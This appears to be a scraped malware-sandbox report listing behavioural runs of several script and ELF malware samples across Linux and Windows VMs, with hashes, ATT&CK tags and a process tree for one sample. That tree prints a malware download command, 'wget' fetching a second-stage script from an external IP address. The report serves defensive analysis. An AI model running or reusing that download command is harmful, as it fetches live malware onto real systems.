78276bd481a04c29109fbbd8313701e5b814165fa4b48515ec4489ccfda93107

Submit
Reports

Overview

overview

Static

static

script_mal...6c1.sh

ubuntu-18.04-amd64

script_mal...6c1.sh

debian-9-armhf

script_mal...6c1.sh

debian-9-mips

script_mal...6c1.sh

debian-9-mipsel

script_malware/1.sh

ubuntu-18.04-amd64

script_malware/1.sh

debian-9-armhf

script_malware/1.sh

debian-9-mips

script_malware/1.sh

debian-9-mipsel

script_mal...459.sh

ubuntu-18.04-amd64

script_mal...459.sh

debian-9-armhf

script_mal...459.sh

debian-9-mips

script_mal...459.sh

debian-9-mipsel

script_mal...ux.elf

ubuntu-22.04-amd64

script_mal...da.elf

ubuntu-22.04-amd64

script_malware/23.sh

ubuntu-18.04-amd64

script_malware/23.sh

debian-9-armhf

script_malware/23.sh

debian-9-mips

script_malware/23.sh

debian-9-mipsel

script_malware/404

ubuntu-18.04-amd64

script_malware/404

debian-9-armhf

script_malware/404

debian-9-mips

script_malware/404

debian-9-mipsel

script_mal...c5b.py

windows7-x64

script_mal...c5b.py

windows10-2004-x64

script_mal...006.sh

ubuntu-18.04-amd64

script_mal...006.sh

debian-9-armhf

script_mal...006.sh

debian-9-mips

script_mal...006.sh

debian-9-mipsel

script_mal...oPy.sh

ubuntu-18.04-amd64

script_mal...oPy.sh

debian-9-armhf

script_mal...oPy.sh

debian-9-mips

script_mal...oPy.sh

debian-9-mipsel

Analysis

max time kernel
131s
max time network
148s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
06-12-2024 14:06

Sharing

Copy URL

Twitter E-mail

Static task

static1

Behavioral task

behavioral1

Sample

script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

Resource

ubuntu1804-amd64-20240611-en

ubuntu-18.04-amd64

13 signatures

150 seconds

Behavioral task

behavioral2

Sample

script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

Resource

debian9-armhf-20240611-en

antivm defense_evasion discovery exection execution persistence privilege_escalatio privilege_escalation

debian-9-armhf

13 signatures

150 seconds

Behavioral task

behavioral3

Sample

script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

Resource

debian9-mipsbe-20240611-en

defense_evasion discovery exection execution persistence privilege_escalatio privilege_escalation

debian-9-mips

12 signatures

150 seconds

Behavioral task

behavioral4

Sample

script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

Resource

debian9-mipsel-20240226-en

defense_evasion discovery exection execution persistence privilege_escalatio privilege_escalation

debian-9-mipsel

12 signatures

150 seconds

Behavioral task

behavioral5

Sample

script_malware/1.sh

Resource

ubuntu1804-amd64-20240611-en

xmrig_linux defense_evasion discovery evasion execution miner persistence privilege_escalatio privilege_escalation rootkit

ubuntu-18.04-amd64

20 signatures

150 seconds

Behavioral task

behavioral6

Sample

script_malware/1.sh

Resource

debian9-armhf-20240418-en

defense_evasion discovery evasion privilege_escalation

debian-9-armhf

7 signatures

150 seconds

Behavioral task

behavioral7

Sample

script_malware/1.sh

Resource

debian9-mipsbe-20240611-en

defense_evasion discovery execution persistence privilege_escalatio privilege_escalation

debian-9-mips

10 signatures

150 seconds

Behavioral task

behavioral8

Sample

script_malware/1.sh

Resource

debian9-mipsel-20240611-en

defense_evasion discovery execution persistence privilege_escalatio privilege_escalation

debian-9-mipsel

11 signatures

150 seconds

Behavioral task

behavioral9

Sample

script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

Resource

ubuntu1804-amd64-20240729-en

defense_evasion discovery

ubuntu-18.04-amd64

5 signatures

150 seconds

Behavioral task

behavioral10

Sample

script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

Resource

debian9-armhf-20240418-en

defense_evasion discovery

debian-9-armhf

5 signatures

150 seconds

Behavioral task

behavioral11

Sample

script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

Resource

debian9-mipsbe-20240611-en

defense_evasion discovery

debian-9-mips

5 signatures

150 seconds

Behavioral task

behavioral12

Sample

script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

Resource

debian9-mipsel-20240226-en

defense_evasion discovery

debian-9-mipsel

5 signatures

150 seconds

Behavioral task

behavioral13

Sample

script_malware/164f8295_linux.elf

Resource

ubuntu2204-amd64-20240611-en

discovery

ubuntu-22.04-amd64

1 signatures

150 seconds

Behavioral task

behavioral14

Sample

script_malware/21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da.elf

Resource

ubuntu2204-amd64-20240729-en

discovery

ubuntu-22.04-amd64

1 signatures

150 seconds

Behavioral task

behavioral15

Sample

script_malware/23.sh

Resource

ubuntu1804-amd64-20240508-en

discovery

ubuntu-18.04-amd64

1 signatures

150 seconds

Behavioral task

behavioral16

Sample

script_malware/23.sh

Resource

debian9-armhf-20240611-en

discovery

debian-9-armhf

1 signatures

150 seconds

Behavioral task

behavioral17

Sample

script_malware/23.sh

Resource

debian9-mipsbe-20240611-en

discovery

debian-9-mips

1 signatures

150 seconds

Behavioral task

behavioral18

Sample

script_malware/23.sh

Resource

debian9-mipsel-20240611-en

discovery

debian-9-mipsel

1 signatures

150 seconds

Behavioral task

behavioral19

Sample

script_malware/404

Resource

ubuntu1804-amd64-20240729-en

discovery

ubuntu-18.04-amd64

1 signatures

150 seconds

Behavioral task

behavioral20

Sample

script_malware/404

Resource

debian9-armhf-20240418-en

discovery

debian-9-armhf

1 signatures

150 seconds

Behavioral task

behavioral21

Sample

script_malware/404

Resource

debian9-mipsbe-20240611-en

discovery

debian-9-mips

1 signatures

150 seconds

Behavioral task

behavioral22

Sample

script_malware/404

Resource

debian9-mipsel-20240226-en

discovery

debian-9-mipsel

1 signatures

150 seconds

Behavioral task

behavioral23

Sample

script_malware/864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py

Resource

win7-20240903-en

discovery

windows7-x64

6 signatures

150 seconds

Behavioral task

behavioral24

Sample

script_malware/864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py

Resource

win10v2004-20241007-en

windows10-2004-x64

3 signatures

150 seconds

Behavioral task

behavioral25

Sample

script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh

Resource

ubuntu1804-amd64-20240611-en

xmrig_linux defense_evasion discovery evasion execution miner persistence privilege_escalatio privilege_escalation rootkit

ubuntu-18.04-amd64

20 signatures

150 seconds

Behavioral task

behavioral26

Sample

script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh

Resource

debian9-armhf-20240729-en

defense_evasion discovery evasion privilege_escalation

debian-9-armhf

7 signatures

150 seconds

Behavioral task

behavioral27

Sample

script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh

Resource

debian9-mipsbe-20240418-en

defense_evasion discovery execution persistence privilege_escalatio privilege_escalation

debian-9-mips

15 signatures

150 seconds

Behavioral task

behavioral28

Sample

script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh

Resource

debian9-mipsel-20240611-en

defense_evasion discovery execution persistence privilege_escalatio privilege_escalation

debian-9-mipsel

10 signatures

150 seconds

Behavioral task

behavioral29

Sample

script_malware/SnOoPy.sh

Resource

ubuntu1804-amd64-20240611-en

defense_evasion discovery

ubuntu-18.04-amd64

2 signatures

150 seconds

Behavioral task

behavioral30

Sample

script_malware/SnOoPy.sh

Resource

debian9-armhf-20240611-en

defense_evasion discovery

debian-9-armhf

2 signatures

150 seconds

Behavioral task

behavioral31

Sample

script_malware/SnOoPy.sh

Resource

debian9-mipsbe-20240729-en

defense_evasion discovery

debian-9-mips

2 signatures

150 seconds

Behavioral task

behavioral32

Sample

script_malware/SnOoPy.sh

Resource

debian9-mipsel-20240418-en

defense_evasion discovery

debian-9-mipsel

2 signatures

150 seconds

Report Analysis Logs

General

Target

script_malware/23.sh
Size

287B
MD5

aa0772cff70daa00d44a201b28ef6b08
SHA1

d129e51acd50ed4ff87672dca4975ed313ae9ad9
SHA256

a55e9eb1cb4dc2cb8d1a697d329b3a76e18b949308e16ef50aafca1e08123939
SHA512

9d2654a7c7634909117d65b0d60bee51e2b9f2de320c2dfc7a30b36f182e2a44b21be91c3dd73fabd4d0cbff7fbc6c18a712cfd41fdcf51cf06ef4a39fe846b1

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1525	23.sh
1526	wget

Processes

/tmp/script_malware/23.sh
/tmp/script_malware/23.sh
1⤵
- System Network Configuration Discovery
PID:1525
- /usr/bin/wget
  wget http://182.52.51.239/scripts/23s
  2⤵
  - System Network Configuration Discovery
  PID:1526

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads